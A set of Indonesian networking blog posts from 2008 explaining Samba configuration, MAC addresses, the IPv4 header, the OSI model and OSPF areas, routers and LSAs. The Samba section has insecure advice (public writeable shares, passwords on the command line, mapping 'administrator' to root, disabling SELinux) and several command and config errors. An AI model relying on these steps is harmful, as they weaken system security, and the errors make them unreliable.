1. Untuk security level = share (tidak membutuhkan password dalam mengakses samba):
pastikan ada script ini:

security = share
domain master=yes
domain logons=yes
encrypt password=yes
security = share
lalu tentukan nama direktori yg dishare beserta pathnya (direktori yang ingin disharing) dengan option-optionnya.

contoh:
[my share]
comment = multimedia stuff
path = /home/master
public = yes
writeable = yes

2. Untuk security level = user (butuh password ketika mengakses samba):
sama dengan di atas, namun pada baris security isikan dengan kata user (security = user).

Lalu under command prompt (masuk ke shell) tambahkan beberapa user yang telah tercantum di /etc/passwd ke dalam file /etc/smbpasswd dengan cara:
smbpasswd -a -n

contoh:
[root@ltsp etc]# smbpasswd -a -n hari

Kita dapat mengakses samba server dari komputer windows, dengan menggunakan login hari dan dengan mengisikan password hari yang terdaftar di komputer linux.
Secara default user yg ditambahkan ke /etc/smbpasswd tidak memiliki password, kita bisa mengisinya dengan mengetikkan:
# smbpasswd

contoh:
[root@ltsp etc]# smbpasswd hari

3. Mounting file-file yang dishare di windows dari komputer linux
a. Mounting file2 yg ada di windows (dalam satu workgroup):
mount -t smbfs -o username=..., password=... //nama-komputer-windows/direktori-yg-dishare /mnt/mount-pointnya

contoh:
[root@ltsp etc]# mount -t smbfs -o username=guest,password=nedcom //"Kang andi"/nedcom /mnt/net

b. Berbeda workgroup:
mount -t smbfs -o username=...,password=..., workgroup=... //nama-komputer-windows/direktori-yg-dishare /mnt/mount-pointnya

contoh:
[root@ltsp etc]# mount -t smbfs -o username=hari,password=hehehe,workgroup=Lab-siskom //optik/master /mnt/net

4. Menggunakan smbclient
smbclient -L = untuk melihat direktori yang dishare di komputer windows
smbclient /// = masuk ke komputer windows pada direktori yang dishare dengan menggunakan format server ftp.

contoh:
[root@ltsp etc]# smbclient -L text
[root@ltsp etc]# smbclient //text/aborsi

Samba Server

2008-12-24T11:29:00.002+07:00

Samba server merupakan salah satu fasilitas yang ada pada sistem operasi linux yang bisa digunakan untuk melakukan sharing file dan printer pada jaringan yang menggunakan system operasi windows dan linux. Nama samba diambil dari SMB yaitu sebuah protocol yang mengatur metode sharing file dan pringer pada windows. Untuk menggunakan samba ada beberapa hal yang harus kita install pada distro linux kita yaitu

Samba
Samba-client
Samba-common
System-config-samba (optional)
Samba swat (optional)

Untuk menjalankan samba ketika system menjalankan multi user ketikan perintah berikut

# /sbin/chkconfig smb on

untuk menjalankan service samba

# /sbin/services smb start

Jika kita ingin menggunakan swat, lakukan modifikasi pada file /etc/xinetd.d/swat seperti berikut
$ cat /etc/xinetd.d/swat# Default: off# description: SWAT is the Samba Web Admin Tool. Use swat \# to configure your Samba server. To use SWAT, \# connect to port 901 with your favorite web browser.service swat{ port = 901 socket_type = stream wait = no only_from = 127.0.0.1 user = root server = /usr/sbin/swat log_on_failure += USERID disable = yes} Ganti nilai disable menjadi yes, dan isi IP address pada only_from jika kita ingin menjalankan swat dari komputer lain, sesuai dengan IP address komputer terebut. Jika kita ingin hanya bisa mengakses swat dari komputer lokal ketikan perintah berikut # chkconfig swat on Kemudian restart xinetd service dengan menjalankan perintah # /sbin/service xinetd restart Jalankan swat dengan mengetikan http://127.0.0.1:901 port 901 adalah port yang sudah kita definisikan pada file configurasi swat. Berikut ini adalah tampilan swat

Ok, saya tidak akan membahas jauh mengenai swat, Anda bisa mempelajari dan mencoba layanan yang disediakannya. Jika kita menggunakan firewall, pastikan port yang digunakan oleh swat dibuka, port normal untuk samba pada protocol UDP adalah 137 dan 138 sedangkan untuk protocol TCP adalah 139 dan 445. Jika kita mengaktifkan SELinux sebagai policy, maka samba akan diproteksi oleh dia, kita bisa mendisablekan SELinux untuk keperluan ini. Samba User, User Maps and Passwords Ketika kita ingin mengakses samba server menggunakan username dan password yang ada pada windows, maka kita harus meminta administrator jaringan untuk melaukan map username pada samba server, karena samba tidak mengenal username dan password windows. Untuk melaukan mapping username dan password windows lakukan pengeditan pada file /etc/samba/smbusers

$ cat /etc/samba/sambausers
#unix_name = smb_name1 smb_name2…
root = administrator admin
nobody = guest pcguest smbguest

Perhatikan penjelasan berikut, entry pertama maps menunjukan bahwa jika ada username windows yang login dengan nama administrator atau admin maka akan dianggap sebagai root pada linux, dan entry kedua jika ada username guest, pcguest, atau smbguest pada yang login pada windows, maka akan dianggap nobody pada linux.

Sedangkan password pada samba akan berbeda dengan password pada linux, oleh karena itu kita harus menambahkan password untuk samba password pada setiap username linux. Ok sebagai contoh kita mempunyai username dengan maps sebagai berikut

sls = sam

sekarang kita akan menambahkan password pada username sls dengan perintah

# smbpasswd –a sls
New SMB password :
Retype new SMB password:
Added user sls

MAC Address

2008-12-19T14:21:00.003+07:00

MAC Address (Media Access Control Address) adalah sebuah alamat jaringan yang diimplementasikan pada lapisan data-link dalam tujuh lapisan model OSI, yang merepresentasikan sebuah node tertentu dalam jaringan. Dalam sebuah jaringan berbasis Ethernet, MAC address merupakan alamat yang unik yang memiliki panjang 48-bit (6 byte) yang mengidentifikasikan sebuah komputer, interface dalam sebuah router, atau node lainnya dalam jaringan. MAC Address juga sering disebut sebagai Ethernet address, physical address, atau hardware address.

MAC Address mengizinkan perangkat-perangkat dalam jaringan agar dapat berkomunikasi antara satu dengan yang lainnya. Sebagai contoh, dalam sebuah jaringan berbasis teknologi Ethernet, setiap header dalam frame Ethernet mengandung informasi mengenai MAC address dari komputer sumber (source) dan MAC address dari komputer tujuan (destination). Beberapa perangkat, seperti halnya bridge dan switch Layer-2 akan melihat pada informasi MAC address dari komputer sumber dari setiap frame yang ia terima dan menggunakan informasi MAC address ini untuk membuat "tabel routing" internal secara dinamis. Perangkat-perangkat tersebut pun kemudian menggunakan tabel yang baru dibuat itu untuk meneruskan frame yang ia terima ke sebuah port atau segmen jaringan tertentu di mana komputer atau node yang memiliki MAC address tujuan berada.

Dalam sebuah komputer, MAC address ditetapkan ke sebuah kartu jaringan (network interface card/NIC) yang digunakan untuk menghubungkan komputer yang bersangkutan ke jaringan. MAC Address umumnya tidak dapat diubah karena telah dimasukkan ke dalam ROM. Beberapa kartu jaringan menyediakan utilitas yang mengizinkan pengguna untuk mengubah MAC address, meski hal ini kurang disarankan. Jika dalam sebuah jaringan terdapat dua kartu jaringan yang memiliki MAC address yang sama, maka akan terjadi konflik alamat dan komputer pun tidak dapat saling berkomunikasi antara satu dengan lainnya. Beberapa kartu jaringan, seperti halnya kartu Token Ring mengharuskan pengguna untuk mengatur MAC address (tidak dimasukkan ke dalam ROM), sebelum dapat digunakan.

MAC address memang harus unik, dan untuk itulah, Institute of Electrical and Electronics Engineers (IEEE) mengalokasikan blok-blok dalam MAC address. 24 bit pertama dari MAC address merepresentasikan siapa pembuat kartu tersebut, dan 24 bit sisanya merepresentasikan nomor kartu tersebut. Setiap kelompok 24 bit tersebut dapat direpresentasikan dengan menggunakan enam digit bilangan heksadesimal, sehingga menjadikan total 12 digit bilangan heksadesimal yang merepresentasikan keseluruhan MAC address. Berikut merupakan tabel beberapa pembuat kartu jaringan populer dan nomor identifikasi dalam MAC Address.

Nama vendor	Alamat MAC
Cisco Systems	00 00 0C
Cabletron Systems	00 00 1D
International Business Machine Corporation	00 04 AC
3Com Corporation	00 20 AF
GVC Corporation	00 C0 A8
Apple Computer	08 00 07
Hewlett-Packard Company	08 00 09

Agar antara komputer dapat saling berkomunikasi satu dengan lainnya, frame-frame jaringan harus diberi alamat dengan menggunakan alamat Layer-2 atau MAC address. Tetapi, untuk menyederhanakan komunikasi jaringan, digunakanlah alamat Layer-3 yang merupakan alamat IP yang digunakan oleh jaringan TCP/IP. Protokol dalam TCP/IP yang disebut sebagai Address Resolution Protocol (ARP) dapat menerjemahkan alamat Layer-3 menjadi alamat Layer-2, sehingga komputer pun dapat saling berkomunikasi.

Beberapa utilitas jaringan dapat menampilkan MAC Address, yakni sebagai berikut:

* IPCONFIG (dalam Windows NT, Windows 2000, Windows XP dan Windows Server 2003).
* WINIPCFG (dalam Windows 95, Windows 98, dan Windows Millennium Edition).
* /sbin/ifconfig (dalam keluarga sistem operasi UNIX )

Berikut ini adalah contoh output dari perintah ipconfig dalam Windows XP Professional:


C:\>ipconfig /all

Windows IP Configuration
  Host Name . . . . . . . . . . . . : karma
  Primary Dns Suffix  . . . . . . . :
  Node Type . . . . . . . . . . . . : Unknown
  IP Routing Enabled. . . . . . . . : No
  WINS Proxy Enabled. . . . . . . . : No

   

Ethernet adapter loopback:

  Connection-specific DNS Suffix  . :
  Description . . . . . . . . . . . : Microsoft Loopback Adapter
  Physical Address. . . . . . . . . : 02-00-4C-4F-4F-50
  DHCP Enabled. . . . . . . . . . . : No
  IP Address. . . . . . . . . . . . : 192.168.0.1
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 192.168.0.7

sumber: id.wikipedia.org

Format Header IP versi 4

2008-12-16T14:36:00.001+07:00

Protokol Internet (Inggris Internet Protocol disingkat IP) adalah protokol lapisan jaringan (network layer dalam OSI Reference Model) atau protokol lapisan internetwork (internetwork layer dalam DARPA Reference Model) yang digunakan oleh protokol TCP/IP untuk melakukan pengalamatan dan routing paket data antar host-host di jaringan komputer berbasis TCP/IP. Versi IP yang banyak digunakan adalah IP versi 4 (IPv4) yang didefinisikan pada RFC 791 dan dipublikasikan pada tahun 1981, tetapi akan digantikan oleh IP versi 6 pada beberapa waktu yang akan datang.

Protokol IP merupakan salah satu protokol kunci di dalam kumpulan protokol TCP/IP. Sebuah paket IP akan membawa data aktual yang dikirimkan melalui jaringan dari satu titik ke titik lainnya. Metode yang digunakannya adalah connectionless yang berarti ia tidak perlu membuat dan memelihara sebuah sesi koneksi. Selain itu, protokol ini juga tidak menjamin penyampaian data, tapi hal ini diserahkan kepada protokol pada lapisan yang lebih tinggi (lapisan transport dalam OSI Reference Model atau lapisan antar host dalam DARPA Reference Model), yakni protokol Transmission Control Protocol (TCP).

Header IP terdiri atas beberapa field sebagai berikut:

Field	Panjang	Keterangan
Version	4 bit	Digunakan untuk mengindikasikan versi dari header IP yang digunakan. Karena memiliki panjang 4 bit, maka terdapat 2⁴=16 buah jenis nilai yang berbeda-beda, yang berkisar antara 0 hingga 15. Meskipun begitu hanya ada dua nilai yang bisa digunakan, yakni 4 dan 6, mengingat versi IP standar yang digunakan saat ini dalam jaringan dan Internet adalah versi 4 dan 6 merupakan singkatan dari versi selanjutnya (IPv6). Lihat situs web IANA untuk informasi mengenai field ini lebih lanjut.
Header length	4 bit	Digunakan untuk mengindikasikan ukuran header IP. Karena memiliki panjang 4 bit, maka terdapat 2⁴=16 buah jenis nilai yang berbeda-beda. Field header length ini mengindikasikan bilangan double-word 32-bit (blok 4-byte) di dalam header IP. Ukuran terkecilnya adalah 5 (0x05), yang menunjukkan ukuran terkecil dari header IP yakni 20 byte. Dengan jumlah maksimum dari IP Options, ukuran header IP maksimum adalah 60 byte, yang diindikasikan dengan nilai 15 (0x0F).
Type of Service (TOS)	8 bit	Field ini digunakan untuk menentukan kualitas transmisi dari sebuah datagram IP. Ada dua jenis TOS yang didefinisikan, yakni pada RFC 791 dan RFC 2474. Hal ini akan dibahas pada seksi berikutnya.
Total Length	16 bit	Merupakan panjang total dari datagram IP, yang mencakup header IP dan muatannya. Dengan menggunakan angka 16 bit, nilai maksimum yang dapat ditampung adalah 65535 byte. Untuk datagram IP yang memiliki ukuran maksimum, field ini memiliki nilai yang sama dengan nilai maximum transmission unit yang dimiliki oleh teknologi protokol lapisan antarmuka jaringan.
Identifier	16 bit	Digunakan untuk mengidentifikasikan sebuah paket IP tertentu yang dikirimkan antara node sumber dan node tujuan. Host pengirim akan mengeset nilai dari field ini, dan field ini akan bertambah nilainya untuk datagram IP selanjutnya. Field ini digunakan untuk mengenali fragmen-fragmen sebuah datagram IP.
Flag	3 bit	Berisi dua buah flag yang berisi apakah sebuah datagram IP mengalami fragmentasi atau tidak. Meski berisi tiga bit, ada dua jenis nilai yang mungkin, yakni apakah hendak memecah datagram IP ke dalam beberapa fragmen atau tidak.
Fragment Offset	13 bit	Digunakan untuk mengidentifikasikan ofset di mana fragmen yang bersangkutan dimulai, dihitung dari permulaan muatan IP yang belum dipecah.
Time-to-Live (TTL)	8 bit	Digunakan untuk mengidentifikasikan berapa banyak saluran jaringan di mana sebuah datagram IP dapat berjalan-jalan sebelum sebuah router mengabaikan datagram tersebut. Field ini pada awalnya ditujukan sebagai penghitung waktu, untuk mengidentifikasikan berapa lama (dalam detik) sebuah datagram IP boleh terdapat di dalam jaringan. Adalah router IP yang memantau nilai ini, yang akan berkurang setiap kali hinggap dalam router.
Protocol	8 bit	Digunakan untuk mengidentifikasikan jenis protokol lapisan yang lebih tinggi yang dikandung oleh muatan IP. Field ini merupakan tanda eksplisit untuk protokol klien. Terdapat beberapa nilai dari field ini, seperti halnya nilai 1 (0x01) untuk ICMP, 6 (0x06) untuk TCP, dan 17 (0x11) untuk UDP (selengkapnya lihat di bawah). Field ini bertindak sebagai penanda multipleks (multiplex identifier), sehingga muatan IP pun dapat diteruskan ke protokol lapisan yang lebih tinggi saat diterima oleh node yang dituju.
Header Checksum	16 bit	Field ini berguna hanya untuk melakukan pengecekan integritas terhadap header IP, sementara muatan IP sendiri tidak dimasukkan ke dalamnya, sehingga muatan IP harus memiliki checksum mereka sendiri untuk melakukan pengecekan integritas terhadap muatan IP. Host pengirim akan melakukan pengecekan checksum terhadap datagram IP yang dikirimkan. Setiap router yang berada di dalam jalur transmisi antara sumber dan tujuan akan melakukan verifikasi terhadap field ini sebelum memproses paket. Jika verifikasi dianggap gagal, router pun akan mengabaikan datagram IP tersebut. Karena setiap router yang berada di dalam jalur transmisi antara sumber dan tujuan akan mengurangi nilai TTL, maka header checksum pun akan berubah setiap kali datagram tersebut hinggap di setiap router yang dilewati. Pada saat menghitung checksum terhadap semua field di dalam header IP, nilai header checksum akan diset ke nilai 0.
Source IP Address	32 bit	Mengandung alamat IP dari sumber host yang mengirimkan datagram IP tersebut, atau alamat IP dari Network Address Translator (NAT).
Destination IP Address	32 bit	Mengandung alamat IP tujuan ke mana datagram IP tersebut akan disampaikan, atau yang dapat berupa alamat dari host atau NAT.
IP Options and Padding	32 bit	[place holder]

OSI

2008-12-16T14:30:00.001+07:00

Model referensi jaringan terbuka OSI atau OSI Reference Model for open networking adalah sebuah model arsitektural jaringan yang dikembangkan oleh badan International Organization for Standardization (ISO) di Eropa pada tahun 1977. OSI sendiri merupakan singkatan dari Open System Interconnection. Model ini disebut juga dengan model "Model tujuh lapis OSI" (OSI seven layer model).

Sebelum munculnya model referensi OSI, sistem jaringan komputer sangat tergantung kepada pemasok (vendor). OSI berupaya membentuk standar umum jaringan komputer untuk menunjang interoperatibilitas antar pemasok yang berbeda. Dalam suatu jaringan yang besar biasanya terdapat banyak protokol jaringan yang berbeda. Tidak adanya suatu protokol yang sama, membuat banyak perangkat tidak bisa saling berkomunikasi.

Model referensi ini pada awalnya ditujukan sebagai basis untuk mengembangkan protokol-protokol jaringan, meski pada kenyataannya inisatif ini mengalami kegagalan. Kegagalan itu disebabkan oleh beberapa faktor berikut:

- Standar model referensi ini, jika dibandingkan dengan model referensi DARPA (Model Internet) yang dikembangkan oleh Internet Engineering Task Force (IETF), sangat berdekatan. Model DARPA adalah model basis protokol TCP/IP yang populer digunakan.

- Model referensi ini dianggap sangat kompleks. Beberapa fungsi (seperti halnya metode komunikasi connectionless) dianggap kurang bagus, sementara fungsi lainnya (seperti flow control dan koreksi kesalahan) diulang-ulang pada beberapa lapisan.

- Pertumbuhan Internet dan protokol TCP/IP (sebuah protokol jaringan dunia nyata) membuat OSI Reference Model menjadi kurang diminati.

Pemerintah Amerika Serikat mencoba untuk mendukung protokol OSI Reference Model dalam solusi jaringan pemerintah pada tahun 1980-an, dengan mengimplementasikan beberapa standar yang disebut dengan Government Open Systems Interconnection Profile (GOSIP). Meski demikian. usaha ini akhirnya ditinggalkan pada tahun 1995, dan implementasi jaringan yang menggunakan OSI Reference model jarang dijumpai di luar Eropa.

OSI Reference Model pun akhirnya dilihat sebagai sebuah model ideal dari koneksi logis yang harus terjadi agar komunikasi data dalam jaringan dapat berlangsung. Beberapa protokol yang digunakan dalam dunia nyata, semacam TCP/IP, DECnet dan IBM Systems Network Architecture (SNA) memetakan tumpukan protokol (protocol stack) mereka ke OSI Reference Model. OSI Reference Model pun digunakan sebagai titik awal untuk mempelajari bagaimana beberapa protokol jaringan di dalam sebuah kumpulan protokol dapat berfungsi dan berinteraksi.
Struktur tujuh lapis model OSI, bersamaan dengan protocol data unit pada setiap lapisan

OSI Reference Model memiliki tujuh lapis, yakni sebagai berikut :

Lapisan ke-	Nama lapisan	Keterangan
7	Application layer	Berfungsi sebagai antarmuka dengan aplikasi dengan fungsionalitas jaringan, mengatur bagaimana aplikasi dapat mengakses jaringan, dan kemudian membuat pesan-pesan kesalahan. Protokol yang berada dalam lapisan ini adalah HTTP, FTP, SMTP, dan NFS.
6	Presentation layer	Berfungsi untuk mentranslasikan data yang hendak ditransmisikan oleh aplikasi ke dalam format yang dapat ditransmisikan melalui jaringan. Protokol yang berada dalam level ini adalah perangkat lunak redirektor (redirector software), seperti layanan Workstation (dalam Windows NT) dan juga Network shell (semacam Virtual Network Computing (VNC) atau Remote Desktop Protocol (RDP)).
5	Session layer	Berfungsi untuk mendefinisikan bagaimana koneksi dapat dibuat, dipelihara, atau dihancurkan. Selain itu, di level ini juga dilakukan resolusi nama.
4	Transport layer	Berfungsi untuk memecah data ke dalam paket-paket data serta memberikan nomor urut ke paket-paket tersebut sehingga dapat disusun kembali pada sisi tujuan setelah diterima. Selain itu, pada level ini juga membuat sebuah tanda bahwa paket diterima dengan sukses (acknowledgement), dan mentransmisikan ulang terhadp paket-paket yang hilang di tengah jalan.
3	Network layer	Berfungsi untuk mendefinisikan alamat-alamat IP, membuat header untuk paket-paket, dan kemudian melakukan routing melalui internetworking dengan menggunakan router dan switch layer-3.
2	Data-link layer	Befungsi untuk menentukan bagaimana bit-bit data dikelompokkan menjadi format yang disebut sebagai frame. Selain itu, pada level ini terjadi koreksi kesalahan, flow control, pengalamatan perangkat keras (seperti halnya Media Access Control Address (MAC Address)), dan menetukan bagaimana perangkat-perangkat jaringan seperti hub, bridge, repeater, dan switch layer 2 beroperasi. Spesifikasi IEEE 802, membagi level ini menjadi dua level anak, yaitu lapisan Logical Link Control (LLC) dan lapisan Media Access Control (MAC).
1	Physical layer	Berfungsi untuk mendefinisikan media transmisi jaringan, metode pensinyalan, sinkronisasi bit, arsitektur jaringan (seperti halnya Ethernet atau Token Ring), topologi jaringan dan pengabelan. Selain itu, level ini juga mendefinisikan bagaimana Network Interface Card (NIC) dapat berinteraksi dengan media kabel atau radio.

[sunting] Pranala luar

(en) ISO standard 7498-1:1994

(en) Cybertelecom::Layered Model of Regulation

Artikel mengenai Jaringan komputer ini adalah suatu tulisan rintisan. Anda dapat membantu Wikipedia mengembangkannya.

sumber = id.wikipedia.org

Jenis-jenis Area dalam OSPF

2008-12-06T21:08:00.000+07:00

Ada Berapa Jenis Area dalam OSPF?

Setelah membagi-bagi jaringan menjadi bersistem area dan membagi router-router di dalamnya menjadi beberapa jenis berdasarkan posisinya dalam sebuah area, OSPF masih membagi lagi jenis-jenis area yang ada di dalamnya. Jenis-jenis area OSPF ini menunjukkan di mana area tersebut berada dan bagaimana karakteristik area tersebut dalam jaringan. Berikut ini adalah jenis-jenis area dalam OSPF:

Ø Backbone Area

Backbone area adalah area tempat bertemunya seluruh area-area lain yang ada dalam jaringan OSPF. Area ini sering ditandai dengan angka 0 atau disebut Area 0. Area ini dapat dilewati oleh semua tipe LSA kecuali LSA tipe 7 yang sudah pasti akan ditransfer menjadi LSA tipe 5 oleh ABR.

Ø Standar Area

Area jenis ini merupakan area-area lain selain area 0 dan tanpa disertai dengan konfigurasi apapun. Maksudnya area ini tidak dimodifikasi macam-macam. Semua router yang ada dalam area ini akan mengetahui informasi Link State yang sama karena mereka semua akan saling membentuk adjacent dan saling bertukar informasi secara langsung. Dengan demikian, semua router yang ada dalam area ini akan memiliki topology database yang sama, namun routing table-nya mungkin saja berbeda.

Ø Stub Area

Stub dalam arti harafiahnya adalah ujung atau sisi paling akhir. Istilah ini memang digunakan dalam jaringan OSPF untuk menjuluki sebuah area atau lebih yang letaknya berada paling ujung dan tidak ada cabang-cabangnya lagi. Stub area merupakan area tanpa jalan lain lagi untuk dapat menuju ke jaringan dengan segmen lain. Area jenis ini memiliki karakteristik tidak menerima LSA tipe 4 dan 5. Artinya adalah area jenis ini tidak menerima paket LSA yang berasal dari area lain yang dihantarkan oleh router ABR dan tidak menerima paket LSA yang berasal dari routing protokol lain yang keluar dari router ASBR (LSA tipe 4 dan 5). Jadi dengan kata lain, router ini hanya menerima informasi dari router-router lain yang berada dalam satu area, tidak ada informasi routing baru di router. Namun, yang menjadi pertanyaan selanjutnya adalah bagaimana area jenis ini dapat berkomunikasi dengan dunia luar kalau tidak ada informasi routing yang dapat diterimanya dari dunia luar. Jawabannya adalah dengan menggunakan default route yang akan bertugas menerima dan meneruskan semua informasi yang ingin keluar dari area tersebut. Dengan default route, maka seluruh traffic tidak akan dibuang ke mana-mana kecuali ke segmen jaringan di mana IP default route tersebut berada.

Ø Totally Stub Area

Mendengar namanya saja, mungkin Anda sudah bisa menangkap artinya bahwa area jenis ini adalah stub area yang lebih diperketat lagi perbatasannya. Totally stub area tidak akan pernah menerima informasi routing apapun dari jaringan di luar jaringan mereka. Area ini akan memblokir LSA tipe 3, 4, dan 5 sehingga tidak ada informasi yang dapat masuk ke area ini. Area jenis ini juga sama dengan stub area, yaitu mengandalkan default route untuk dapat menjangkau dunia luar.

Ø Not So Stubby Area (NSSA)

Stub tetapi tidak terlalu stub, itu adalah arti harafiahnya dari area jenis ini. Maksudnya adalah sebuah stub area yang masih memiliki kemampuan spesial, tidak seperti stub area biasa. Kemampuan spesial ini adalah router ini masih tetap mendapatkan informasi routing namun tidak semuanya. Informasi routing yang didapat oleh area jenis ini adalah hanya external route yang diterimanya bukan dari backbone area. Maksudnya adalah router ini masih dapat menerima informasi yang berasal dari segmen jaringan lain di bawahnya yang tidak terkoneksi ke backbone area. Misalnya Anda memiliki sebuah area yang terdiri dari tiga buah router. Salah satu router terkoneksi dengan backbone area dan koneksinya hanya berjumlah satu buah saja. Area ini sudah dapat disebut sebagai stub area. Namun nyatanya, area ini memiliki satu segmen jaringan lain yang menjalankan routing protokol RIP misalnya. Jika Anda masih mengonfigurasi area ini sebagai Stub area, maka area ini tidak menerima informasi routing yang berasal dari jaringan RIP. Namun konfigurasilah dengan NSSA, maka area ini bisa mengenali segmen jaringan yang dilayani RIP.

Tipe-tipe Router OSPF

2008-12-06T21:07:00.000+07:00

Seperti telah Anda ketahui, OSPF menggunakan konsep area dalam menjamin agar penyebaran informasi tetap teratur baik. Dengan adanya sistem area-area ini, OSPF membedakan lagi tipe-tipe router yang berada di dalam jaringannya. Tipe-tipe router ini dikategorikan berdasarkan letak dan perannya dalam jaringan OSPF yang terdiri dari lebih dari satu area. Di mana letak sebuah router dalam jaringan OSPF juga sangat berpengaruh terhadap fungsinya. Jadi dengan demikian, selain menunjukkan lokasi di mana router tersebut berada, nama-nama tipe router ini juga akan menunjukkan fungsinya. Berikut ini adalah beberapa tipe router OSPF berdasarkan letaknya dan juga sekaligus fungsinya:

Ø Internal Router

Router yang digolongkan sebagai internal router adalah router-router yang berada dalam satu area yang sama. Router-router dalam area yang sama akan menanggap router lain yang ada dalam area tersebut adalah internal router. Internal router tidak memiliki koneksi-koneksi dengan area lain, sehingga fungsinya hanya memberikan dan menerima informasi dari dan ke dalam area tersebut. Tugas internal router adalah me-maintain database topologi dan routing table yang akurat untuk setiap subnet yang ada dalam areanya. Router jenis ini melakukan flooding LSA informasi yang dimilikinya ini hanya kepada router lain yang dianggapnya sebagai internal router.

Ø Backbone Router

Salah satu peraturan yang diterapkan dalam routing protokol OSPF adalah setiap area yang ada dalam jaringan OSPF harus terkoneksi dengan sebuah area yang dianggap sebagai backbone area. Backbone area biasanya ditandai dengan penomoran 0.0.0.0 atau sering disebut dengan istilah Area 0. Router-router yang sepenuhnya berada di dalam Area 0 ini dinamai dengan istilah backbone router. Backbone router memiliki semua informasi topologi dan routing yang ada dalam jaringan OSPF tersebut.

Ø Area Border Router (ABR)

Sesuai dengan istilah yang ada di dalam namanya “Border”, router yang tergolong dalam jenis ini adalah router yang bertindak sebagai penghubung atau perbatasan. Yang dihubungkan oleh router jenis ini adalah area-area yang ada dalam jaringan OSPF. Namun karena adanya konsep backbone area dalam OSPF, maka tugas ABR hanyalah melakukan penyatuan antara Area 0 dengan area-area lainnya. Jadi di dalam sebuah router ABR terdapat koneksi ke dua area berbeda, satu koneksi ke area 0 dan satu lagi ke area lain. Router ABR menyimpan dan menjaga informasi setiap area yang terkoneksi dengannya. Tugasnya juga adalah menyebarkan informasi tersebut ke masing-masing areanya. Namun, penyebaran informasi ini dilakukan dengan menggunakan LSA khusus yang isinya adalah summarization dari setiap segment IP yang ada dalam jaringan tersebut. Dengan adanya summary update ini, maka proses pertukaran informasi routing ini tidak terlalu memakan banyak resource processing dari router dan juga tidak memakan banyak bandwidth hanya untuk update ini.

Ø Autonomous System Boundary Router (ASBR)

Sekelompok router yang membentuk jaringan yang masih berada dalam satu hak administrasi, satu kepemilikan, satu kepentingan, dan dikonfigurasi menggunakan policy yang sama, dalam dunia jaringan komunikasi data sering disebut dengan istilah Autonomous System (AS). Biasanya dalam satu AS, router-router di dalamnya dapat bebas berkomunikasi dan memberikan informasi. Umumnya, routing protocol yang digunakan untuk bertukar informasi routing adalah sama pada semua router di dalamnya. Jika menggunakan OSPF, maka semuanya tentu juga menggunakan OSPF.

Namun, ada kasus-kasus di mana sebuah segmen jaringan tidak memungkinkan untuk menggunakan OSPF sebagai routing protokolnya. Misalkan kemampuan router yang tidak memadai, atau kekurangan sumber daya manusia yang paham akan OSPF, dan banyak lagi. Oleh sebab itu, untuk segmen ini digunakanlah routing protocol IGP (Interior Gateway Protocol) lain seperti misalnya RIP. Karena menggunakan routing protocol lain, maka oleh jaringan OSPF segmen jaringan ini dianggap sebagai AS lain.

Untuk melayani kepentingan ini, OSPF sudah menyiapkan satu tipe router yang memiliki kemampuan ini. OSPF mengategorikan router yang menjalankan dua routing protokol di dalamnya, yaitu OSPF dengan routing protokol IGP lainnya seperti misalnya RIP, IGRP, EIGRP, dan IS-IS, kemudian keduanya dapat saling bertukar informasi routing, disebut sebagai Autonomous System Border Router (ASBR).

Router ASBR dapat diletakkan di mana saja dalam jaringan, namun yang pasti router tersebut haruslah menjadi anggota dari Area 0-nya OSPF. Hal ini dikarenakan data yang meninggalkan jaringan OSPF juga dianggap sebagai meninggalkan sebuah area. Karena adanya peraturan OSPF yang mengharuskan setiap area terkoneksi ke backbone area, maka ASBR harus diletakkan di dalam backbone area.

Apa itu Paket LSA?

2008-12-06T21:06:00.001+07:00

Apa itu Paket LSA

Seperti telah dijelaskan di atas, paket LSA di dalamnya akan berisi informasi seputar link-link yang ada dalam sebuah router dan statusnya masing-masing. Paket LSA ini kemudian disebarkan ke router-router lain yang menjadi neighbour dari router tersebut. Setelah informasi sampai ke router lain, maka router tersebut juga akan menyebarkan LSA miliknya ke router pengirim dan ke router lain.

Pertukaran paket LSA ini tidak terjadi hanya pada saat awal terbentuknya sebuah jaringan OSPF, melainkan terus menerus jika ada perubahan link status dalam sebuah jaringan OSPF. Namun, LSA yang disebarkan kali pertama tentu berbeda dengan yang disebarkan berikutnya. Karena LSA yang pertama merupakan informasi yang terlengkap seputar status dari link-link dalam jaringan, sedangkan LSA berikutnya hanyalah merupakan update dari perubahan status yang terjadi.

Paket-paket LSA juga dibagi menjadi beberapa jenis. Pembagian ini dibuat berdasarkan informasi yang terkandung di dalamnya dan untuk siapa LSA ini ditujukan. Untuk membedakan jenisjenisnya ini, OSPF membagi paket LSA nya menjadi tujuh tipe. Masing-masing tipe memiliki kegunaannya masing-masing dalam membawa informasi Link State. Anda dapat melihat kegunaan masing-masing paket pada tabel “Tipe-tipe LSA packet”.

OSPF Router

2008-12-06T20:49:00.002+07:00

Open Shortest Path First (OSPF)

Teknologi link-state dikembangkan dalam ARPAnet untuk menghasilkan protokol yang terdistribusi yang jauh lebih baik daripada protokol distance-vector. Alih-alih saling bertukar jarak (distance) ke tujuan, setiap router dalam jaringan memiliki peta jaringan yang dapat diperbarui dengan cepat setelah setiap perubahan topologi. Peta ini digunakan untuk menghitung route yang lebih akurat daripada menggunakan protokol distance-vector. Perkembangan teknologi ini akhirnya menghasilkan protokol Open Shortest Path First (OSPF) yang dikembangkan oleh IETF untuk digunakan di Internet. Bahkan sekarang Internet Architecture Board (IAB) telah merekomendasikan OSPF sebagai pengganti RIP.

Prinsip link-state routing sangat sederhana. Sebagai pengganti menghitung route “terbaik” dengan cara terdistribusi, semua router mempunyai peta jaringan dan menghitung semua route yang terbaik dari peta ini. Peta jaringan tersebut disimpan dalam sebuah basis data dan setiap record dalam basis data tersebut menyatakan sebuah link dalam jaringan. Record-record tersebut dikirimkan oleh router yang terhubung langsung dengan masing-masing link.

Karena setiap router perlu memiliki peta jaringan yang menggambarkan kondisi terakhir topologi jaringan yang lengkap, setiap perubahan dalam jaringan harus diikuti oleh perubahan dalam basis data link-state yang terletak di setiap router. Perubahan status link yang dideteksi router akan mengubah basis data link-state router tersebut, kemudian router mengirimkan perubahan tersebut ke router-router lain.

